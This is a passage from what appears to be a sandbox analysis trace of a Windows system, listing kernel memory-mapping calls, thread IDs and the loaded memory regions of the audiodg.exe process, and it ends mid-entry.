(MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c85000 [0113.256] IdePortDispatch () returned 0x103 [0113.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8a000 [0113.257] IdePortDispatch () returned 0x103 [0113.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8e000 [0113.257] IdePortDispatch () returned 0x103 [0113.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c94000 [0113.258] IdePortDispatch () returned 0x103 [0113.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c99000 [0113.258] IdePortDispatch () returned 0x103 [0113.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9e000 [0113.259] IdePortDispatch () returned 0x103 [0113.259] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca3000 [0113.259] IdePortDispatch () returned 0x103 [0113.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca5000 [0113.260] IdePortDispatch () returned 0x103 [0113.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca8000 [0113.260] IdePortDispatch () returned 0x103 [0113.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cab000 [0113.261] IdePortDispatch () returned 0x103 [0113.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cae000 [0113.261] IdePortDispatch () returned 0x103 [0113.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb1000 [0113.261] IdePortDispatch () returned 0x103 [0113.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb4000 [0113.262] IdePortDispatch () returned 0x103 [0113.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb6000 [0113.263] IdePortDispatch () returned 0x103 [0113.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb9000 [0113.263] IdePortDispatch () returned 0x103 [0113.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbc000 [0113.263] IdePortDispatch () returned 0x103 [0113.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbf000 [0113.264] IdePortDispatch () returned 0x103 [0113.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc1000 [0113.264] IdePortDispatch () returned 0x103 [0113.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc3000 [0113.265] IdePortDispatch () returned 0x103 [0113.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc5000 [0113.265] IdePortDispatch () returned 0x103 [0113.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc7000 [0113.266] IdePortDispatch () returned 0x103 [0113.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc9000 [0113.266] IdePortDispatch () returned 0x103 [0113.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ccb000 [0113.266] IdePortDispatch () returned 0x103 [0113.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ccd000 [0113.267] IdePortDispatch () returned 0x103 [0113.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ccf000 [0113.267] IdePortDispatch () returned 0x103 [0113.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd1000 [0113.268] IdePortDispatch () returned 0x103 [0113.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd3000 [0113.268] IdePortDispatch () returned 0x103 [0113.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0113.269] IdePortDispatch () returned 0x103 [0113.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd7000 [0113.269] IdePortDispatch () returned 0x103 [0113.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd9000 [0113.269] IdePortDispatch () returned 0x103 [0113.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdb000 [0113.270] IdePortDispatch () returned 0x103 [0113.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdd000 [0113.271] IdePortDispatch () returned 0x103 [0113.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdf000 [0113.271] IdePortDispatch () returned 0x103 [0113.274] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce1000 [0113.274] IdePortDispatch () returned 0x103 [0113.274] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce3000 [0113.274] IdePortDispatch () returned 0x103 [0113.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce5000 [0113.275] IdePortDispatch () returned 0x103 [0113.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce7000 [0113.276] IdePortDispatch () returned 0x103 [0113.277] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce9000 [0113.277] IdePortDispatch () returned 0x103 [0113.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ceb000 [0113.278] IdePortDispatch () returned 0x103 [0113.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ced000 [0113.278] IdePortDispatch () returned 0x103 [0113.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cef000 [0113.278] IdePortDispatch () returned 0x103 [0113.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf1000 [0113.279] IdePortDispatch () returned 0x103 [0113.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf3000 [0113.279] IdePortDispatch () returned 0x103 [0113.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0113.280] IdePortDispatch () returned 0x103 [0113.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf7000 [0113.280] IdePortDispatch () returned 0x103 [0113.281] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf9000 [0113.281] IdePortDispatch () returned 0x103 [0113.281] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfb000 [0113.281] IdePortDispatch () returned 0x103 [0113.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1c000 [0113.283] IdePortDispatch () returned 0x103 [0113.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1f000 [0113.283] IdePortDispatch () returned 0x103 [0113.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d22000 [0113.284] IdePortDispatch () returned 0x103 [0113.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d25000 [0113.284] IdePortDispatch () returned 0x103 [0113.285] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d28000 [0113.285] IdePortDispatch () returned 0x103 [0113.285] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2b000 [0113.285] IdePortDispatch () returned 0x103 [0113.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2e000 [0113.286] IdePortDispatch () returned 0x103 [0113.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d31000 [0113.286] IdePortDispatch () returned 0x103 [0113.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d34000 [0113.287] IdePortDispatch () returned 0x103 [0113.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d38000 [0113.291] IdePortDispatch () returned 0x103 [0113.305] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6c000 [0113.305] IdePortDispatch () returned 0x103 [0113.305] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6e000 [0113.305] IdePortDispatch () returned 0x103 [0113.306] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d71000 [0113.306] IdePortDispatch () returned 0x103 [0113.508] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\WmiPrvSD.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.514] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ncobjapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.721] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemess.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 450 os_tid = 0x73c Thread: id = 451 os_tid = 0x740 Thread: id = 452 os_tid = 0x744 [0107.638] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.134] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\npmproxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 453 os_tid = 0x748 Thread: id = 455 os_tid = 0x750 Thread: id = 457 os_tid = 0x758 Thread: id = 461 os_tid = 0x768 Thread: id = 465 os_tid = 0x778 Thread: id = 467 os_tid = 0x780 Thread: id = 493 os_tid = 0x7ec Thread: id = 495 os_tid = 0x7f4 Thread: id = 497 os_tid = 0x7fc Thread: id = 498 os_tid = 0x420 Thread: id = 501 os_tid = 0x438 Thread: id = 504 os_tid = 0x490 Thread: id = 506 os_tid = 0x49c Thread: id = 510 os_tid = 0x4b4 Thread: id = 512 os_tid = 0x4bc Thread: id = 513 os_tid = 0x4d8 Thread: id = 514 os_tid = 0x4e4 Thread: id = 515 os_tid = 0x370 Thread: id = 516 os_tid = 0x4fc Thread: id = 517 os_tid = 0x300 Thread: id = 518 os_tid = 0x264 Thread: id = 519 os_tid = 0x290 Process: id = "20" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0xfec7000" os_pid = "0x3c4" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x2c4" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x2b0" cur_dir = "C:\\Windows" Region: id = 1529 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1530 start_va = 0xb0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1531 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1532 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1533 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1534 start_va = 0xffb20000 end_va = 0xffb43fff entry_point = 0xffb369b4 region_type = mapped_file name = "audiodg.exe" filename = "\\Windows\\System32\\audiodg.exe" Region: id = 1535 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1536 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1537 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1538 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1539 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1540 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1541 start_va = 0x180000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1542 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1543 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1544 start_va = 0x40000 end_va = 0x4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1545 start_va = 0x280000 end_va = 0x2e6fff entry_point = 0x280000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1546 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1547 start_va = 0x480000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1548 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1549 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1550 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1551 start_va = 0x7fefc0b0000 end_va = 0x7fefc0fafff entry_point = 0x7fefc0befcc region_type = mapped_file name = "MMDevAPI.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" Region: id = 1552 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Region: id = 1553 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1554 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1555 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 1556 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1557 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 1558 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1559 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1560 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1561 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1562 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1563 start_va = 0x70000 end_va = 0x70fff entry_point = 0x70000 region_type = mapped_file name = "audiodg.exe.mui" filename = "\\Windows\\System32\\en-US\\audiodg.exe.mui" Region: id = 1564 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1565 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1566 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1567 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1568 start_va = 0x7b0000 end_va = 0x86ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1569 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1570 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1571 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1572 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 1573 start_va = 0x3f0000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1574 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 1575 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 1576 start_va = 0x9b0000 end_va = 0xc7efff entry_point = 0x9b0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1577 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 1578 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" Region: id = 1579 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1580 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 1581 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 1582 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2906 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2907 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2908 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2909 start_va = 0x8d0000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 2910 start_va = 0xe20000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 2911 start_va = 0xeb0000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 2912 start_va = 0xf30000 end_va = 0x1332fff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 2913 start_va = 0x7fefa1c0000 end_va = 0x7fefa20efff entry_point = 0x7fefa1c2764 region_type = mapped_file name = "AudioSes.dll" filename = "\\Windows\\System32\\AudioSes.dll" Region: id = 2914 start_va = 0x7fefbb60000 end_va = 0x7fefbb68fff entry_point = 0x7fefbb61010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" Region: id = 2915 start_va = 0x7fefbe40000 end_va = 0x7fefbeb0fff entry_point = 0x7fefbe46e50 region_type = mapped_file name = "AudioEng.dll" filename = "\\Windows\\System32\\AudioEng.dll" Region: id = 2916 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = 